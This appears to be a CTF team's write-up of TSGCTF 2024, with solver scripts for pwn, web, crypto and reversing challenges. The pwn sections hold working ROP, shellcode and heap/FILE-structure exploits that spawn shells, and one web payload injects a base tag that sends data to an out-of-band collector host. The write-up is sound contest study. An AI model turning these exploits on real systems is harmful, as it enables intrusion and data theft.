# TSGCTF 2024

## Pwn
### Password-Ate-Quiz
There is an out-of-range reference so that we can leak the encrypted password and our input.
```c
while (1) {
int idx;
printf("Enter a hint number (0~2) > ");
if (scanf("%d", &idx) == 1 && idx >= 0) {
for (int i = 0; i < 8; i++) {
putchar(hints[idx][i]);
}
puts("");
} else {
break;
}
}
```
```c
void crypting(long long *secret, size_t len, long long key) {
for (int i = 0; i < (len - 1) / 8 + 1; i++) {
secret[i] = secret[i] ^ key;
}
}
```
Our input is encrypted with above function in which just XOR is used so, we can leak the key by using following calculation:
```c
key = input[0:8] ^ encrypted_input[0:8]
```
By using the leaked key, we can decrypt the password.
```python
#!/usr/bin/env python
import sys
import ptrlib as ptr
import pwn
exe = ptr.ELF("./chall")
pwn.context.binary = pwn.ELF(exe.filepath)
def connect():
if len(sys.argv) > 1 and sys.argv[1] == "remote":
return pwn.remote("34.146.186.1", 41778)
else:
return pwn.process(exe.filepath)
def unwrap(x):
if x is None:
ptr.logger.error("Failed to unwrap")
exit(1)
else:
return x
def main():
io = connect()
io.sendlineafter(b"> ", b"A" * 0x10)
io.sendlineafter(b"> ", str(8).encode())
key = ptr.u64(io.recvuntil(b"\nEnter", drop=True)) ^ 0x4141414141414141
ptr.logger.info(f"key: {hex(key)}")
password = b""
for i in range(0x20 // 8):
io.sendlineafter(b"> ", str(i + 4).encode())
l = io.recvuntil(b"\nEnter", drop=True)
assert len(l) == 8
lu = ptr.u64(l)
password += ptr.p64(lu ^ key)
continue
password = password.split(b"\0")[0]
ptr.logger.info(f"password: {password}")
io.sendlineafter(b"> ", b"a")
io.sendlineafter(b"> ", password)
io.interactive()
return
if __name__ == "__main__":
main()
```
### vuln-img
author: zatsu
#### 解法
`scanf` による自明なオーバーフローが存在する。
`main` 等のアドレスが `\0a` を含むため直接アドレスを入力することはできないが、読み込まれた画像に対する `mprotect` の結果が `r-x` であるため、画像データ中のアドレスを用いたROPができる。
各レジスタをsetするようなROP gadgetと `add eax, 0xd8a7d76f; ret` や `push rax; ret` のようなgadgetを用いる事で `main` のアドレスに制御を移すことができるため、引数を適切にセットしてから `mprotect` を呼び出す直前に制御を移して `img_data` の領域を `rwx` にし、stack pivotによってshellを書き込んで実行することでshellが得られた。
#### コード
```python
from ptrlib import *
e = ELF('./vuln_img')
p = Process('./vuln_img')
payload = b'A' * 0x110
# ► 0x1004952 <img_data+18770> pop rdi
# 0x1004953 <img_data+18771> sbb eax, 0x4424a400
# 0x1004959 <img_data+18777> ret
def set_rdi(addr):
global payload
payload += p64(0x1004952)
payload += p64(addr)
# ► 0x10023dc <img_data+9180> pop rbx
# 0x10023dd <img_data+9181> ret
def set_rbx(addr):
global payload
payload += p64(0x10023dc)
payload += p64(addr)
# ► 0x100771e <img_data+30494> pop rcx
# 0x100771f <img_data+30495> ret
def set_rcx(addr):
global payload
payload += p64(0x100771e)
payload += p64(addr)
# ► 0x100bb60 <img_data+47968> pop rsi
# 0x100bb61 <img_data+47969> jmp rcx
def set_rsi_and_jmp_to_rcx(addr):
global payload
payload += p64(0x100bb60)
payload += p64(addr)
# ► 0x1001fbf <img_data+8127> pop rdx
# 0x1001fc1 <img_data+8129> test dword ptr [rdi - 0x73], esp
# 0x1001fc4 <img_data+8132> ret
def set_rdx_with_readable_rdi(addr):
global payload
payload += p64(0x1001fbf)
payload += p64(addr)
def jump(addr):
global payload
payload += p64(addr)
# ► 0x100bf59 <img_data+48985> pop rbx
# 0x100bf5b <img_data+48987> jmp ptr [rbx - 0x333d9537]
def jump_by_rbx(addr):
global payload
payload += p64(0x100bf59)
payload += p64((addr + 0x333d9537) & 0xffffffffffffffff)
# ► 0x1005585 <img_data+21893> push rbx
# 0x1005587 <img_data+21895> stosd dword ptr [rdi], eax
# 0x1005588 <img_data+21896> ret
def ret_to_rbx_with_writable_rdi():
global payload
payload += p64(0x1005585)
def ret_to_rdx():
global payload
payload += p64(0x10026cc)
ret_addr = 0x100771f
payload += p64(0x1a00508) # imul edx, ebp, 0xe8ef6803 の結果下3bitが7になるようにする
jump(ret_addr)
set_rdi(0x1001111) # readableなdummy
set_rdx_with_readable_rdi(7) # mprotectの第三引数
set_rdi(0x1000000)
set_rcx(ret_addr)
set_rsi_and_jmp_to_rcx(0x1000000)
# ► 0x100c30e <img_data+49934> pop rax
# 0x100c30f <img_data+49935> ret
payload += p64(0x100c30e)
payload += p64((1<<64) - 0xd8a7d76f + 0xa0001ff) # a0001ff: call a000900 <mprotect@plt>
# 0x10058bb <img_data+22715> add eax, 0xd8a7d76f
# 0x10058c0 <img_data+22720> std
# 0x10058c1 <img_data+22721> ret
payload += p64(0x10058bb)
# 0x100b9d1 <img_data+47569> push rax
# 0x100b9d2 <img_data+47570> imul edx, ebp, 0xe8ef6803
# 0x100b9d8 <img_data+47576> ret
# payload += p64(0x100b9d1)
set_rbx(ret_addr)
# ► 0x100b3ff <img_data+46079> push rax
# 0x100b400 <img_data+46080> push rbx
# 0x100b401 <img_data+46081> push rbx
# 0x100b402 <img_data+46082> ret
payload += p64(0x100b3ff)
p.sendlineafter('> ', payload)
p.sendlineafter('> ', 'exit')
payload = b'A' * 0x110 + p64(0x1a002f8) # next rbp
payload += p64(0x100c30e)
payload += p64((1<<64) - 0xd8a7d76f + 0xa000204) # a0001ff: call a000900 <mprotect@plt>
payload += p64(0x10058bb)
set_rbx(ret_addr)
payload += p64(0x100b3ff)
p.sendlineafter('> ', payload)
p.sendlineafter('> ', 'exit')
# shellcode
payload = b'Z' * 0x110 + p64(0x1a00000) + p64(0x1a00308) + b"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
p.sendlineafter('> ', payload)
p.interactive()
```
### piercing_misty_mountain
```bash
piercing_misty_mountain: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=e12cc43525ce486435ec085011d7731a2da229c0, for GNU/Linux 3.2.0, not stripped
```
```bash
[*] '/root/workspace/piercing_misty_mountain'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
```
There is a BOF in `profile` function.
```c
int profile() {
char job[0x8] = "Job:";
char age[0x8];
printf("Job > ");
read_n(job + 4, 0x18 - 4);
printf("Age > ");
read_n(age, 0x8);
return atoi(age);
}
```
By using above BOF, we can overwrite the saved RIP but not write a ROP chain. So, we have to write the ROP chain in advance. By doing stack pivot and returning to `main` we can write the ROP chain to arbitrary area.
```c
0x4c8000 <initial+672>: 0x4343434343434343 0x4343434343434343
0x4c8010 <initial+688>: 0x000000000040217f 0x00000000004c8100
0x4c8020 <initial+704>: 0x000000000040a1ee 0x0000000000000000
0x4c8030 <initial+720>: 0x000000000044afa2 0x0000000000000000
0x4c8040 <initial+736>: 0x0000000000450847 0x000000000000003b
0x4c8050 <initial+752>: 0x000000000041b326 0x0000000000000000
0x4c8060 <initial+768>: 0x0000000000000000 0x0000000000000000
0x4c8070 <initial+784>: 0x0000000000000000 0x0000000000000000
0x4c8080 <initial+800>: 0x0000000000000000 0x0000000000000000
0x4c8090 <initial+816>: 0x0000000000000000 0x0000000000000000
```
After writing the ROP chain, we can use the BOF again to do stack pivot and return to `profile`, then rewrite RIP so that it connects to the ROP chain we just wrote, and we can get a shell.
```c
0x4c8000 <initial+672>: 0x4141414141414141 0x000000000040101a
0x4c8010 <initial+688>: 0x000000000040217f 0x00000000004c8100
0x4c8020 <initial+704>: 0x000000000040a1ee 0x0000000000000000
0x4c8030 <initial+720>: 0x000000000044afa2 0x0000000000000000
0x4c8040 <initial+736>: 0x0000000000450847 0x000000000000003b
0x4c8050 <initial+752>: 0x000000000041b326 0x0000000000000000
0x4c8060 <initial+768>: 0x0000000000000000 0x0000000000000000
0x4c8070 <initial+784>: 0x0000000000000000 0x0000000000000000
0x4c8080 <initial+800>: 0x0000000000000000 0x0000000000000000
0x4c8090 <initial+816>: 0x0000000000000000 0x0000000000000000
```
```python
#!/usr/bin/env python
import sys
import ptrlib as ptr
import pwn
exe = ptr.ELF("./piercing_misty_mountain")
pwn.context.binary = pwn.ELF(exe.filepath)
def connect():
if len(sys.argv) > 1 and sys.argv[1] == "remote":
return pwn.remote("34.146.186.1", 41777)
else:
return pwn.process(exe.filepath)
def unwrap(x):
if x is None:
ptr.logger.error("Failed to unwrap")
exit(1)
else:
return x
def main():
io = connect()
def sla(delim: bytes, data: bytes):
io.sendlineafter(delim, data)
return
def sa(delim: bytes, data: bytes):
io.sendafter(delim, data)
return
def ru(delim, drop=False) -> bytes:
return io.recvuntil(delim, drop=drop)
def rl() -> bytes:
return io.recvline()
free_space = 0x4C8000
ptr.logger.info(f"free_space: {hex(free_space)}")
profile = unwrap(exe.symbol("profile"))
main = unwrap(exe.symbol("main"))
sla(b"> ", b"5unset")
sla(b"> ", b"3")
payload = b""
payload += b"A" * 4
payload += ptr.p64(free_space + 0x1000)
payload += ptr.p64(main + 15)
sa(b"> ", payload)
sa(b"> ", b"B" * 8)
payload = b""
payload += b"C" * 0x10
payload += ptr.p64(next(exe.gadget("pop rdi; ret;")))
payload += ptr.p64(free_space + 0x100)
payload += ptr.p64(next(exe.gadget("pop rsi; ret;")))
payload += ptr.p64(0)
payload += ptr.p64(next(exe.gadget("pop rdx; ret;")))
payload += ptr.p64(0)
payload += ptr.p64(next(exe.gadget("pop rax; ret;")))
payload += ptr.p64(59)
payload += ptr.p64(next(exe.gadget("syscall; ret;")))
payload = payload.ljust(0x100, b"\0")
payload += b"/bin/sh\0"
sla(b"> ", payload)
sla(b"> ", b"3")
payload = b""
payload += b"A" * 4
payload += ptr.p64(free_space)
payload += ptr.p64(profile + 12)
sa(b"> ", payload)
sa(b"> ", b"B" * 8)
payload = b""
payload += b"A" * 12
payload += ptr.p64(next(exe.gadget("ret;")))
sa(b"> ", payload)
sa(b"> ", b"B" * 8)
io.interactive()
return
if __name__ == "__main__":
main()
```
### FL_Support_Center
```python
import secrets
from typing import Literal, Optional
from more_itertools import chunked
from pwn import *
BIN_NAME = "./fl_support_center.patched"
REMOTE_LIBC_PATH = "./lib/libc.so.6"
LOCAL = not ("REMOTE" in args)
context.binary = chall = ELF(BIN_NAME)
# if LOCAL: stream = process(BIN_NAME)
if LOCAL: stream = remote("localhost", 49867)
else: stream = remote("34.146.186.1", 49867)
# if name not in black_list and len(name) < 0x100:
# friends_list[name] = ""
def add(name: bytes):
stream.sendlineafter(b"> ", b"1")
stream.sendlineafter(b": ", name)
# 2 回まで呼べる
# if len(message) < 0x100:
# if friends_list[name] == "" or input("delete?") == "yes":
# friends_list[name] = message
def message(name: bytes, message: bytes, yn: Optional[Literal["yes"] | Literal["no"]]=None):
stream.sendlineafter(b"> ", b"2")
stream.sendlineafter(b": ", name)
stream.sendlineafter(b": ", message)
if yn is not None:
# TODO: old
stream.sendlineafter(b"> ", yn.encode())
def list():
stream.sendlineafter(b"> ", b"3")
data = stream.recvuntil(b"\n1. Add", drop=True).decode()
friends_list = {}
entries = data.split("----------------------------------------------\n")
for entry in entries:
if entry.strip():
lines = entry.strip("\n").split("\n")
print(lines)
name = lines[0].split(": ")[1]
message = lines[1].split(": ")[1]
friends_list[name] = message
return friends_list
def remove(name: bytes, message: Optional[bytes]=None):
stream.sendlineafter(b"> ", b"4")
stream.sendlineafter(b": ", name)
if message is not None:
stream.sendlineafter(b": ", message)
SUPPORT = b"FL*Support*Center@fl.support.center"
FAKE_SUPPORT_1 = b'a' * len(SUPPORT)
add(FAKE_SUPPORT_1)
remove(FAKE_SUPPORT_1)
add(FAKE_SUPPORT_1)
message(FAKE_SUPPORT_1, b"A" * 0xff)
remove(FAKE_SUPPORT_1, message=SUPPORT)
l = stream.recvline_startswith(b"Do you want to delete the sent message: ")
stream.sendline(b"n")
leak = l.split(b": ")[1]
tcache_next = unpack(leak[:8])
tcache_key = unpack(leak[8:16])
print(f'{hex(tcache_next)=}')
print(f'{hex(tcache_key)=}')
# heap_base = (tcache_next << 12) - 0x13000 # FOR LOCAL
heap_base = (tcache_next << 12) - 0x12000
print(f'{hex(heap_base)=}')
SUPPORT_ADDR = heap_base + 0x11f50
print(f'{hex(SUPPORT_ADDR)=}')
def aar(addr: int, length: int):
print(f'[+] aar({hex(addr)}, {length})')
name = secrets.token_hex(len(SUPPORT) // 2).encode()
add(name)
remove(name)
add(name)
remove(
name,
b"A" * 0x20 +
pack(SUPPORT_ADDR) + pack(len(SUPPORT)) +
b"A" * 0x10 +
pack(addr) + pack(length) +
b"A" * 0x10
)
l = stream.recvline_startswith(b"Do you want to delete the sent message: ")
stream.sendlineafter(b"> ", b"no")
return l.split(b": ", 1)[1][:length]
# insert to unsorted
ITER = 7
for i in range(ITER):
add(str(i).encode() * 0xf0)
for i in range(ITER):
remove(str(i).encode() * 0xf0)
for i in range(ITER):
add(str(i).encode() * 0xf0)
for i in range(ITER):
remove(str(i).encode() * 0xf0, b"a")
# tcache pos is random :(
# leak = aar(heap_base + 0x13580, 0x100) # remote
leak = aar(heap_base + 0x12200, 0x100)
libc = ELF(REMOTE_LIBC_PATH)
for chunk_list in chunked(leak, 8):
arena_addr = unpack(bytes(chunk_list))
if (arena_addr & 0xfff) == 0xce0:
print(f'[+] {hex(arena_addr)=}')
libc.address = arena_addr - 0x21ace0
print(f'[+] {hex(libc.address)=}')
break
# stream.interactive()
def aaw(addr: int, payload: bytes):
print(f'[+] aaw({hex(addr)}, {payload})')
name = secrets.token_hex(len(SUPPORT) // 2).encode()
add(name)
remove(name)
add(name)
remove(
name,
b"A" * 0x20 +
pack(SUPPORT_ADDR) + pack(len(SUPPORT)) +
b"A" * 0x10 +
pack(addr) + pack(len(payload)) +
b"A" * 0x10
)
assert len(payload) < 0x100
stream.sendlineafter(b"> ", b"yes")
stream.sendlineafter(b": ", payload)
write_addr = libc.symbols["_IO_2_1_stdout_"]
fake_file = b''
fake_file += p64(0x3b01010101010101) # flags
fake_file += b"/bin/sh\0" # read_ptr
fake_file = fake_file.ljust(0x28, b'\x00')
fake_file += p64(1)
fake_file = fake_file.ljust(0x68, b'\x00')
fake_file += p64(libc.symbols["system"]) # _IO_jump_t.__doallocate
fake_file = fake_file.ljust(0x88, b'\x00')
fake_file += p64(libc.address + 0x21ca70) # _IO_file.lock
fake_file = fake_file.ljust(0xa0, b'\x00')
fake_file += p64(write_addr) # _IO_file.wide_data
fake_file = fake_file.ljust(0xc0, b'\x00')
fake_file += p64(0) # _IO_file._mode
fake_file = fake_file.ljust(0xd8, b'\x00')
fake_file += p64(libc.symbols["_IO_wfile_jumps"]) # _IO_file.vtable
fake_file = fake_file.ljust(0xe0, b'\x00')
fake_file += p64(write_addr) # _IO_wide_data.vtable
aaw(write_addr, fake_file)
stream.interactive()
```
### SQLite of Hand
Not Solved :cry:
## Web
### Toolong Tea
Author: zatsu
#### 解法
`num` に型チェックが存在しないため、`[65536, 2, 3]` のような値を送信すると長さチェックをバイパスして `parseInt(num, 10) === 65536` を達成できる
#### コード
```
import requests
url = 'http://34.84.71.29:4932/'
json = {
"num": [65536, 2, 3],
}
res = requests.post(url, json=json)
print(res.text)
```
### I Have Been Pwned
Author: hiikunZ
```console
$ curl -X POST http://34.84.32.212:8080/ -d "auth=guest&password=%00
<br />
<b>Fatal error</b>: Uncaught ValueError: Bcrypt password must not contain null character in /var/www/html/index.php:21
Stack trace:
#0 /var/www/html/index.php(21): password_hash('PmVG7xe9ECBSgLU...', '2y')
#1 {main}
thrown in <b>/var/www/html/index.php</b> on line <b>21</b><br />
```
で `$pepper1` をリークして、`auth` を `admin` にして `hash` を次のコードで捏造する。ここでハッシュされる文字列の前 8 文字さえあってれば verify が通るので、解けた。
```php
echo base64_encode(crypt("PmVG7xe9","ZZ"));
```
flag: `TSGCTF{Pepper. The ultimate layer of security for your meals.}`
### Cipher Preset Button
```python
response = requests.post(f"{HEAD}/preset", json={
"name": "</title><base href='https://fyelosrixjovnwxnntlee714qfmft8zad.oast.fun/'/> \x1b(J<style",
"prefix": f"\"+'A'.repeat(100)//"
})
print(response.text)
id = response.json()["id"]
path = f"/presets/{id}"
response = requests.post(f"{HEAD}/report", json={
"path": path
})
req = json.loads(input("requst> "))
result = req["result"]
print(bytes([c ^ ord("A") for c in bytes.fromhex(result)[1::2]]))
```
## Crypto
### Mystery of Scattered Key
Author: みゃう
#### Problem
```python
from Crypto.Util.number import getStrongPrime
from random import shuffle
flag = b"FAKE{THIS_IS_FAKE_FLAG}"
p = getStrongPrime(1024)
q = getStrongPrime(1024)
N = p * q
e = 0x10001
m = int.from_bytes(flag, "big")
c = pow(m, e, N)
# "Aaaaargh!" -- A sharp, piercing scream shattered the silence.
p_bytes = p.to_bytes(128, "big")
q_bytes = q.to_bytes(128, "big")
fraction_size = 2
p_splitted = [int.from_bytes(p_bytes[i : i + fraction_size], "big") for i in range(0, len(p_bytes), fraction_size)]
q_splitted = [int.from_bytes(q_bytes[i : i + fraction_size], "big") for i in range(0, len(q_bytes), fraction_size)]
shuffle(p_splitted)
shuffle(q_splitted)
print(f"N = {N}")
print(f"c = {c}")
print(f"p_splitted = {p_splitted}")
print(f"q_splitted = {q_splitted}")
```
#### Solution
The RSA primes $p$, $q$ are split into 2-bytes segments and shuffled. By reconstructing the correct sequence of the split parts, we have
$$
\begin{align*}
p &= p_0 + 2^{16} p_1 + 2^{32} p_2 + \cdots, \\
q &= q_0 + 2^{16} q_1 + 2^{32} q_2 + \cdots. \\
\end{align*}
$$
Given $N=pq$, the relationship for $p_0$, $q_0$ can be expressed as
$$
N \equiv p_0 q_0 \pmod{2^{16}}.
$$
Using this relationship, we can search for pairs $(p'_i, q'_i)$ that satisfy it from the shuffled segments. The same process can be applied sequentially for $2^{32}, 2^{64}, \cdots$.
Note that the search may yield multiple candidates, not just one unique pair.
#### Solver
```python
from collections import deque
from output import p_splitted, q_splitted, N, c
from Crypto.Util.number import inverse, long_to_bytes
def bfs_find_p_q(p_splitted, q_splitted, N, length):
queue = deque([(0, [], [])])
while queue:
i, current_ps, current_qs = queue.popleft()
if i == length:
return current_ps, current_qs
partial_N = N % 2 ** (16 * (i + 1))
partial_p_poly = sum(
[pi * (2 ** (16 * idx)) for idx, pi in enumerate(current_ps)]
) % (2 ** (16 * (i + 1)))
partial_q_poly = sum(
[qi * (2 ** (16 * idx)) for idx, qi in enumerate(current_qs)]
) % (2 ** (16 * (i + 1)))
for pi in p_splitted:
for qi in q_splitted:
if (
(partial_p_poly + pi * (2 ** (16 * i)))
* (partial_q_poly + qi * (2 ** (16 * i)))
) % (2 ** (16 * (i + 1))) == partial_N:
queue.append((i + 1, current_ps + [pi], current_qs + [qi]))
raise Exception("No valid solution found.")
LENGTH = len(p_splitted)
found_ps, found_qs = bfs_find_p_q(p_splitted, q_splitted, N, LENGTH)
p = sum([pi * (2 ** (16 * idx)) for idx, pi in enumerate(found_ps)])
q = sum([qi * (2 ** (16 * idx)) for idx, qi in enumerate(found_qs)])
print(f"p = {p}")
print(f"q = {q}")
assert p * q == N
e = 0x10001
m = pow(c, inverse(e, (p - 1) * (q - 1)), p * q)
print(long_to_bytes(m).decode())
```
```
p = 133846079567033356295611663807472620387209233565787526555738846382718344891721831631688559264099570540393849521623918732060226890640580063490864556922128525956884002008979132603720649145351885711269969451344880448760955136344150312478430955260159658688415728407730512351844988228785331625665794917259257926213
q = 151355518372765120493327934762926630893438167972334488889493051813724826088782068105390566319924248423756649210493142888195116144950614724981735824913625568893513234575823641661316419754786310456460557346632081385143889518584132516903169499774904766562459218546051354207232352829994450058475821789976020567069
TSGCTF{Yasu_is_the_culprit_4977d14abf9a4fad90d87046d2ee7e7d}
```
### Feistel Barrier
Author: hiikunZ
$c$ が復号できないが普通に $c + n$ を復号してもらえるので、あとは復元するだけ
```python
from pwn import *
from hashlib import sha256
io = remote("34.146.145.253", 10961)
io.recvuntil(b"n = ")
n = int(io.recvline().strip())
io.recvuntil(b"chal = ")
chal = bytes.fromhex(io.recvline().strip().decode())
c = int.from_bytes(chal, "big") + n
c = c.to_bytes(129, "big")
io.recvuntil(b"ciphertext: ")
io.sendline(c.hex().encode())
res = bytes.fromhex(io.recvline().strip().decode())
io.close()
maskedSeed = res[1 : 1 + 32]
maskedDB = res[1 + 32 :]
k = 1024 // 8
h_len = 32
def mgf(seed, mask_len):
if mask_len > 2**32:
raise ValueError("mask too long")
t = b""
for i in range(mask_len // h_len + 1):
t += sha256(seed + i.to_bytes(4, "little")).digest()
return t[:mask_len]
seedMask = mgf(maskedDB, h_len)
def xor(a, b):
return bytes(x ^ y for x, y in zip(a, b))
seed = xor(maskedSeed, seedMask)
dbMask = mgf(seed, k - h_len - 1)
db = xor(dbMask, maskedDB)
print(db.split(b"\x01")[-1].decode())
```
### Easy? ECDLP
The problem is to compute the discrete log over $Z_{p^4}$. Our team member found similar challenge(pure division@zer0pts ctf 2021) writeup: https://mitsu1119.github.io/blog/p/zer0pts-ctf-2021-writeup-%E6%97%A5%E6%9C%AC%E8%AA%9E/.
Though we could apply the technique partially, we needed to analyze further (`secret` is 1024bit, but we only obtained`secret`$\pmod{p^3}$ (756bit).)
Fortunatelly, we realized the curve over $\mathbb{GF}(p)$ is anomalous. So we combined the technique of SSSA attack(Hensel lifting), we obtained the flag.
```python=
from Crypto.Util.number import bytes_to_long, long_to_bytes
import random
rng = random.SystemRandom()
a, b = [0x1c456bfc3fabba99a737d7fd127eaa9661f7f02e9eb2d461d7398474a93a9b87,0x8b429f4b9d14ed4307ee460e9f8764a1f276c7e5ce3581d8acd4604c2f0ee7ca]
X,Y,Z = (92512155407887452984968972936950900353410451673762367867085553821839087925110135228608997461366439417183638759117086992178461481890351767070817400228450804002809798219652013051455151430702918340448295871270728679921874136061004110590203462981486702691470087300050508138714919065755980123700315785502323688135 ,40665795291239108277438242660729881407764141249763854498178188650200250986699 , 1)
p = 0xd9d35163a870dc6dfb7f43911ff81c964dc8e1dd2481fdf6f0e653354b59c5e5
ec = EllipticCurve(Zmod(p**4),[a,b])
P = ec.point((X,Y,Z))
secP_xy = (62273117814745802387117000953578316639782644586418639656941009579492165136792362926314161168383693280669749433205290570927417529976956408493670334719077164685977962663185902752153873035889882369556401683904738521640964604463617065151463577392262554355796294028620255379567953234291193792351243682705387292519, 518657271161893478053627976020790808461429425062738029168194264539097572374157292255844047793806213041891824369181319495179810050875252985460348040004008666418463984493701257711442508837320224308307678689718667843629104002610613765672396802249706628141469710796919824573605503050908305685208558759526126341)
prec = 4
Qp = pAdicField(p, prec)
E4 = EllipticCurve(Qp, [a, b])
Fp = GF(p)
Ef = EllipticCurve(Fp, [a, b])
N = Ef.order()
print(f"is_ordinary: {Ef.is_ordinary()}")
print(f"order==p?: {N==p}")
## modified from http://mslc.ctf.su/wp/polictf-2012-crypto-500/
def hensel_lift(curve, p, point):
A, B = (a, b)
x, y = map(lambda val:int(val.lift()), point.xy())
fr = y**2 - (x**3 + A*x + B)
assert fr % p**4 == 0
t = int((- fr / p**4) % p)
t *= pow(int(2 * y), -1, int(p)) # (y**2)' = 2 * y
t = int(t % p**4)
new_y = y + t * p**4
return x, new_y
S = E4((X, Y))
T = E4(secP_xy)
x1, y1 = hensel_lift(E, p, S)
x2, y2 = hensel_lift(E, p, T)
# redefine after Hensel lifting
Qp = pAdicField(p, prec+1)
E = EllipticCurve(Qp, [a, b])
S = E((x1, y1))
T = E((x2, y2))
## from https://mitsu1119.github.io/blog/p/zer0pts-ctf-2021-writeup-%E6%97%A5%E6%9C%AC%E8%AA%9E/
NS = N * S
a = Fp(-NS[0] / (p * NS[1]))
n = 0
l = 1
Sp = S
Tp = T
ds = []
while Tp != 0:
NTp = N*Tp
w = -NTp[0] / NTp[1]
b = w / p^l
d = Fp(Integer(b)/a)
ds.append(Integer(d))
Tp = Tp - Integer(d)*Sp
Sp = p*Sp
n += 1
l += 1
if n > prec:
break
solve = 0
for i in range(len(ds)):
solve += ds[i] * p^i
print(long_to_bytes(solve))
#is_ordinary: True
#order==p?: True
#b"TSGCTF{HeNSel's L3mMa 1s s0 usefUl!}|D\x06\xd8\xe6\x12\xde\x8d\x13\x05\xff\xe8\x92c0#b\xe1\xd9K,\xec\x1fA\xe7\xf3\xda\x13np\xeb\xb4zM\xb4\xac\xe2l\xe4(\x08\x9ap\xe4HV\x1c:f\x18;5\xd2\x85_:Fs\xbf\xf7\xe8\xacjo\xe0\xf0\x15\xab\x91H\r~Kl#\x9b\x16\xde-uj\xda\x8b\x87)o\xe6\xdcZ\xf5\x9e"
```
### Who is the Outlier?
`secret_key`に関する連立一次方程式が得られているため、これを使って`secret_key`を復元できる。ciphertextsの前半と後半のいずれかはdisagreeを含まないため、両方試すことによってdisagreeを無視できる。あとは通常の方法でdecryptするとよい。
```python
exec(read("output.txt"))
A = Matrix(Zmod(p), n, n)
for i in range(n):
for j in range(n):
A[i,j] = ciphertexts[n+j][i]
b = vector(Zmod(p), n)
for i in range(n):
b[i] = ciphertexts[n+i][-1] - 1*(p//q)
secret_key = A.solve_left(b)
def dot(a,b,p):
assert len(a) == len(b)
return sum([(a[i]*b[i])%p for i in range(len(a))])%p
flag = ""
for enc in encrypted_flag:
v = enc[-1] - dot(secret_key, enc[:-1], p)
flag += chr(int(floor(int(v) / (p//q))))
print(flag)
```
### CONPASS
Author: hiikunZ
`mydecoder` の処理がガバガバで、`{"time":"hoge","":"<data>"}` の形を作ると `<data>` に `"` と `\` 以外の文字が全て使える。
$\bmod n$ で $0$ になるようなデータを作れば、署名も $0$ になって OK。
```python!
import time
import math
import requests
import json
positions = {
"user": [3861, -67500, 50947],
"sat0": [67749, 27294, 94409],
"sat1": [38630, -52128, -9112],
"sat2": [-86459, -74172, 8698],
"sat3": [36173, -84060, 95354],
"flag": [0, 0, 0],
}
data = {}
def distance(a, b):
dist = 0
for i in range(3):
dist += (a[i] - b[i]) ** 2
return math.sqrt(dist)
host = "http://34.146.145.253:42001/"
ut = time.time()
for target in ["sat0", "sat1", "sat2", "sat3"]:
t = ut - distance(positions[target], positions["flag"])
t = int(t)
response = requests.get(host + target)
dat = response.json()
n = dat["public_key"]["n"]
res = '{"time":' + str(t) + ',"data":"' + "\x00" * 200 + '"}'
res = res.encode()
res = int.from_bytes(res, "little")
print(hex(res))
y = -res % n
y = (y * pow(256 ** len('{"time":' + str(t) + ',"data":"'), -1, n)) % n
while True:
x = y.to_bytes(200, "little")
assert len(x) == 200
real_res = b'{"time":' + str(t).encode() + b',"data":"' + x + b'"}'
print(real_res)
res = int.from_bytes(real_res, "little")
assert res % n == 0
if not b'"' in x and b"\\" not in x:
break
y += n
data[target] = {}
data[target]["data"] = real_res.hex()
data[target]["sign"] = "00"
json_data = json.dumps(data)
response = requests.post(
host + "auth", data=json_data, headers={"Content-Type": "application/json"}
)
print(response.json())
```
### Easy?? ECDLP
Not Solved:cry:
## Reversing
### Misbehave
Author: zatsu
#### 解法
デコンパイルされたコードを読むと、入力を4文字毎に区切って `gen_rand()` で生成した乱数とxorを行い、その結果を `memcmp` によって `flag_enc` と比較していることが分かる。
また、`init` の処理によって `memcmp` の処理が差し替えられており、`memcmp` 中に乱数のstateが変化していることも確認できた。
乱数の出力は `gen_rand()` が呼ばれる直前までの入力文字から定まるため、gdbで `gen_rand()` の返り値を得て、それと `flag_enc` の結果をxorして新たな入力とする処理を繰り返すことでフラグを得られた。
#### コード
```python
import gdb
rnd = [3542627188, 2616472058, 820737800, 3317136477, 10439305, 908029029, 2164904520, 817214727, 205657852, 3787318749, 321275647, 2837809417]
flag_enc= b'\x20\x60\x6f\x90\xae\x77\x8f\xf3\xfc\x09\xa5\x5e\xdd\x6b\x39\x51\xdf\xfd\x6e\x5e\xa8\x60\x88\x85\xbc\xd7\x95\x52\x75\xe9\x82\xf3\xb7\xa2\x04\x95\x4a\x0e\x5c\x67\x53\x81\x13\xbf\x34\x61\x70\xc1'
res = b''
print(res)
print(len(flag_enc))
def opt():
global res
global byte_4
global rnd
print(res)
with open('file', 'wb') as f:
f.write(res)
gdb.execute('file ./misbehave')
gdb.execute('b *main+74')
gdb.execute('r < file')
l = []
while True:
r = gdb.parse_and_eval('$rax')
print(hex(r))
l.append(int(r))
print(len(l))
if len(l) == 12:
break
gdb.execute('c')
gdb.execute('det')
res = b''
for i in range(0xc):
byte_4 = int.from_bytes(flag_enc[i*4:i*4+4], 'little') ^ rnd[i]
res += int.to_bytes(byte_4, 4, 'little')
rnd = l
print(res)
for i in range(48):
opt()
```
### Warmup SQLite
バイトコードの58行目付近を読むとMultiply,Add,Remainderの3命令が連なっていることがわかる。ここからフラグの各文字$c$に対して$(c * a + b)~\mod~256$のような演算を行っていると予想して、逆算するソルバーを書くとフラグが得られた。
```python
res = [100, 115, 39, 99, 100, 54, 27, 115, 69, 220, 69, 99, 100, 191, 56, 161, 131, 11, 101, 162, 191, 54, 130, 175, 205, 191, 222, 101, 162, 116, 147, 191, 55, 24, 69, 130, 69, 191, 252, 101, 102, 101, 252, 189, 82, 116, 41, 147, 161, 147, 132, 101, 162, 82, 191, 220, 9, 205, 9, 100, 191, 38, 68, 253]
flag = 'TSGCTF{'
from z3 import *
a, b = BitVec('a', 8), BitVec('b', 8)
s = Solver()
for i in range(len(flag)):
s.add((ord(flag[i]) * a + b) & 0xff == res[i])
assert s.check() == sat
m = s.model()
a = m[a].as_long()
b = m[b].as_long()
flag = ''
for i in range(len(res)):
for j in range(127):
if (j * a + b) & 0xff == res[i]:
flag += chr(j)
break
print(flag)
```
### TSGDBinary
配布されたバイナリを解析すると、入力とダミーフラグをmemcmpで比較する処理、および加算や減算などのプリミティブな計算を行う多数の関数が見つかった。
